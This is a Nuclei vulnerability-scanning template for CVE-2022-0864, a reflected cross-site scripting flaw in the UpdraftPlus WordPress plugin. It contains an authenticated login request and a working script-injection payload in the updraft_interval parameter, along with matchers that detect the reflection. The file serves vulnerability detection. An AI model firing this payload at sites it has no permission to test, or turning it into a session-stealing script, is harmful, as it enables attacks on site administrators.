nuclei-templates/http/cves/2022/CVE-2022-0864.yaml

63 lines
2.2 KiB
YAML
Raw Normal View History

2023-04-04 02:23:02 +00:00
id: CVE-2022-0864
info:
2023-04-13 13:46:52 +00:00
name: UpdraftPlus < 1.22.9 - Cross-Site Scripting
2023-04-04 02:23:02 +00:00
author: DhiyaneshDk
severity: medium
description: |
The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
2023-09-06 11:59:08 +00:00
remediation: |
Update UpdraftPlus plugin to version 1.22.9 or later to mitigate the vulnerability.
2023-04-04 02:23:02 +00:00
reference:
- https://wpscan.com/vulnerability/7337543f-4c2c-4365-aebf-3423e9d2f872
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0864
- https://wordpress.org/plugins/updraftplus
2023-04-13 13:46:52 +00:00
classification:
2023-07-11 19:49:27 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
2023-04-13 13:46:52 +00:00
cve-id: CVE-2022-0864
2023-07-11 19:49:27 +00:00
cwe-id: CWE-79
epss-score: 0.00242
epss-percentile: 0.62097
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:updraftplus:updraftplus:*:*:*:*:*:wordpress:*:*
2023-04-04 02:23:02 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: 'updraftplus'
product: 'updraftplus'
2023-09-06 11:59:08 +00:00
framework: wordpress
2024-01-14 09:21:50 +00:00
tags: cve,cve2022,xss,authenticated,updraftplus,wpscan,wp-plugin,wp,wordpress,'updraftplus'
2023-04-04 02:23:02 +00:00
http:
2023-04-04 02:23:02 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
2023-11-16 12:00:00 +00:00
GET /wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm('document_domain')</script> HTTP/1.1
2023-04-04 02:23:02 +00:00
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
2023-11-16 12:00:00 +00:00
part: body_2
2023-04-04 02:23:02 +00:00
words:
2023-11-16 12:00:00 +00:00
- "<script>confirm('document_domain')</script>"
- "Existing backups"
2023-04-04 02:23:02 +00:00
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100af884612296f9e14e8d3f735b8e67352166431fd3b29ddfd069b38a8cf7e3894022100df7930768eb5cb14dc119636eb45c22439303e5830a34f27b30de2e6ef985f34:922c64590222798bb761d5b6d8e72950